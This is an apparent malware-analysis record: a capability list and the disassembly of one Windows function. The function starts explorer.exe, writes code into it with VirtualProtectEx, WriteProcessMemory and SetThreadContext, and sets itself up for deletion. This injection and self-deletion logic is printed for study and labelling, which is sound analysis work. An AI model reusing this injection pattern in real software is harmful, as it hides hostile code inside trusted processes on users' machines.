Function at 0x406c95
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Execute shellcode via indirect call
Get common file path
Move file
Resume thread
Set current directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x461d60
mov eax, dword fs:[0]
push eax
mov eax, 0x10f8
call fcn.00440170
mov eax, dword [0x484db8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
push ebx
lea eax, [ebp - 0x1095]
mov edi, 0x471efc
push eax
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x18], 0x46cf9c
call fcn.004033a0
mov esi, 0x104
push esi
lea eax, [ebp - 0x10b8]
push eax
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], ebx
call fcn.0043458e
xor ecx, ecx
inc ecx
mov dword [ebp - 0x109c], ecx
mov byte [ebp - 4], cl
mov byte [eax + 4], cl
mov ecx, dword [eax]
call fcn.004076cf
push esi
push dword [eax]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x10b8]
mov byte [ebp - 4], bl
call fcn.00406b57
push ebx
push ebx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x40]
call fcn.00407853
push 0xc
sub esp, 0x30
mov ecx, esp
push ebx
lea eax, [ebp - 0x40]
push eax
mov byte [ebp - 4], 2
mov dword [ecx], edi
mov dword [ecx + 0x28], 0x46cf9c
call fcn.004064e5
call fcn.00433a4b
add esp, 0x34
test al, al
jne 0x406d9f
cmp byte [ebp + 8], al
je 0x4071ab
push 0xc
sub esp, 0x30
mov ecx, esp
push ebx
lea eax, [ebp - 0x100]
push eax
mov dword [ecx], edi
mov dword [ecx + 0x28], 0x46cf9c
call fcn.004064e5
call fcn.00433a4b
add esp, 0x34
test al, al
je 0x4071ab
push ebx
lea eax, [ebp - 0x1095]
push eax
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x48], 0x46cf9c
call fcn.004033a0
push esi
lea eax, [ebp - 0x10b8]
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 3
call fcn.0043458e
mov ecx, dword [eax]
mov byte [ebp - 4], 4
mov byte [eax + 4], 1
call fcn.004076cf
push esi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [ebp - 0x10b8]
mov byte [ebp - 4], 3
call fcn.00406b57
cmp dword [ebp - 0x5c], 0
je 0x406e0c
cmp dword [ebp - 0x58], 8
lea eax, [ebp - 0x6c]
cmovae eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x40
lea eax, [ebp - 0x1100]
push ebx
push eax
mov dword [ebp - 0x1104], 0x44
call fcn.0043e970
add esp, 0xc
lea eax, [ebp - 0x1095]
push ebx
push eax
push str.explorer.exe
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x130], edi
mov dword [ebp - 0x108], 0x46cf9c
call fcn.004065d0
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 5
call fcn.00406bf1
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 7
call fcn.00401500
cmp dword [ebp - 0x88], 8
lea eax, [ebp - 0x9c]
cmovae eax, dword [ebp - 0x9c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x406f77
push ebx
lea eax, [ebp - 0x1095]
push eax
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0xd0], edi
mov dword [ebp - 0xa8], 0x46cf9c
call fcn.004033a0
push esi
lea eax, [ebp - 0x10b8]
push eax
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 8
call fcn.0043458e
mov ecx, dword [eax]
mov byte [ebp - 4], 9
mov byte [eax + 4], 1
call fcn.004076cf
push esi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea ecx, [ebp - 0x10b8]
mov byte [ebp - 4], 8
call fcn.00406b57
push ebx
lea eax, [ebp - 0x1095]
push eax
push str.explorer.exe
lea ecx, [ebp - 0x160]
mov dword [ebp - 0x160], edi
mov dword [ebp - 0x138], 0x46cf9c
call fcn.004065d0
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x190]
push eax
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 0xa
call fcn.00406bf1
push eax
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0xb
call fcn.00406bc5
lea ecx, [ebp - 0x190]
call fcn.00401500
lea ecx, [ebp - 0x160]
call fcn.00401500
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 7
call fcn.00401500
lea ecx, [ebp - 0xa0]
call fcn.004076cf
lea ecx, [ebp - 0x10ac]
push ecx
lea ecx, [ebp - 0x1104]
push ecx
push ebx
push ebx
push 0x44
push ebx
push ebx
push ebx
push dword [eax]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4070bc
push 0xc31
lea eax, [ebp - 0x1090]
push ebx
push eax
mov dword [ebp - 0x1094], ebx
call fcn.0043e970
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp - 0x28], 8
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x88c], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x884], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 0x880], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x87c], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x878], eax
mov al, byte [ebp + 8]
mov byte [ebp - 0x870], al
lea eax, [ebp - 0x3c]
cmovae eax, dword [ebp - 0x3c]
push esi
push eax
lea eax, [ebp - 0x86f]
push eax
mov dword [ebp - 0x888], edi
call fcn.0043f9e4
add esp, 0x18
cmp byte [ebp + 8], 0
je 0x407053
cmp dword [ebp - 0xe8], 8
lea eax, [ebp - 0xfc]
cmovae eax, dword [ebp - 0xfc]
push esi
push eax
lea eax, [ebp - 0x667]
push eax
call fcn.0043f9e4
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x890]
push eax
push dword [ebp - 0x10ac]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov eax, 0x407c67
mov ecx, 0x407bcc
sub eax, ecx
cmp eax, 0x800
jbe 0x4070c7
push ebx
push dword [ebp - 0x10ac]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x10ac]
call edi
push dword [ebp - 0x10a8]
call edi
cmp dword [ebp - 0x28], 8
push 4
lea eax, [ebp - 0x3c]
cmovae eax, dword [ebp - 0x3c]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov bl, 1
mov byte [ebp - 0x109c], bl
jmp 0x407198
push eax
push ecx
lea eax, [ebp - 0x1090]
push eax
call fcn.0043ecc0
add esp, 0xc
lea eax, [ebp - 0x45c]
push eax
push dword [ebp - 0x10a8]
mov dword [ebp - 0x45c], 0x10003
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov esi, dword [ebp - 0x398]
add esi, 0xfffff3cb
and esi, 0xffffffe0
mov dword [ebp - 0x1094], esi
lea eax, [esi - 4]
mov dword [ebp - 0x398], eax
lea eax, [esi + 4]
mov dword [ebp - 0x3a4], eax
lea eax, [ebp - 0x10c0]
push eax
push 0x40
push 0xc35
push esi
push dword [ebp - 0x10ac]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
mov ebx, 0xc35
push ebx
lea eax, [ebp - 0x1094]
push eax
push esi
push dword [ebp - 0x10ac]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push esi
push dword [ebp - 0x10ac]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x45c]
push eax
push dword [ebp - 0x10a8]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x10a8]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x10a8]
call edi
push dword [ebp - 0x10ac]
call edi
xor ebx, ebx
inc ebx
mov dword [ebp - 0x109c], ebx
lea ecx, [ebp - 0xa0]
call fcn.00401500
lea ecx, [ebp - 0x70]
call fcn.00401500
lea ecx, [ebp - 0x100]
call fcn.00401500
lea ecx, [ebp - 0x40]
call fcn.00401500
mov al, byte [ebp - 0x109c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043e8f7
leave
ret